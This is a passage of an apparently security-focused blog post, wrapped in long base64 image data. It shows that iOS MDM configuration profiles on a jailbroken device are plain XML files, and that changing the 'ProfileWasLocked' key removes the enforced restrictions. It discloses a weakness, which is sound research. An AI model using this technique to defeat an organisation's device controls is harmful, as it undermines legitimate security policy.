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" width="640" /&gt;&lt;/a&gt;&lt;br /&gt;
That’s fine! It’s true that a user can’t uninstall a profile if “uninstall” button doesn’t exists in the interface, but an advanced user with an access such as SSH (on a Jailbreaked device, of course) can change this profiles in a different way. A configuration profile is stored as an XML file with .stub extension, in the following directory: /private/var/mobile/Library/ConfigurationProfiles/&lt;br /&gt;
&lt;br /&gt;
These XML files, created by MDM software, are easily readable and most of parameters can be changed without any integrity control:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&amp;gt;&lt;br /&gt;
&amp;lt;plist version="1.0"&amp;gt;&lt;br /&gt;
&amp;lt;dict&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;InstallDate&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;date&amp;gt;2011-07-27T15:54:44Z&amp;lt;/date&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;MCProfileIsRemovalStub&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;true/&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;PayloadContent&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;array&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;dict&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;PayloadDescription&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;string&amp;gt;Configures security-related items.&amp;lt;/string&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;PayloadDisplayName&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;string&amp;gt;Passcode&amp;lt;/string&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;PayloadIdentifier&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;string&amp;gt;XXXXXX - Configure.passcode&amp;lt;/string&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;PayloadOrganization&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;string&amp;gt;XXXXXX - Configure&amp;lt;/string&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;PayloadType&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;string&amp;gt;com.apple.mobiledevice.passwordpolicy&amp;lt;/string&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;PayloadUUID&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;string&amp;gt;xxxxxxxx-yyyy-zzzz-wwww-000000000000&amp;lt;/string&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;PayloadVersion&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;integer&amp;gt;1&amp;lt;/integer&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;allowSimple&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;true/&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;forcePIN&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;true/&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;maxGracePeriod&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;maxInactivity&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;integer&amp;gt;5&amp;lt;/integer&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;minLength&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;integer&amp;gt;4&amp;lt;/integer&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;pinHistory&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;requireAlphanumeric&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;true/&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;PayloadDescription&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;string&amp;gt;Payload Count: 1&amp;lt;/string&amp;gt;&lt;br /&gt;
[...]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;key&amp;gt;ProfileWasLocked&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;true/&amp;gt;&lt;br /&gt;
[...]&lt;br /&gt;
&lt;br /&gt;
All the restrictions about the device use can be bypassed by editing this file. For instance, we can change the “ProfileWasLocked” key and set it up to “false”. Now, something in the user interface must change:&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" height="506" src="data:image/png;base64,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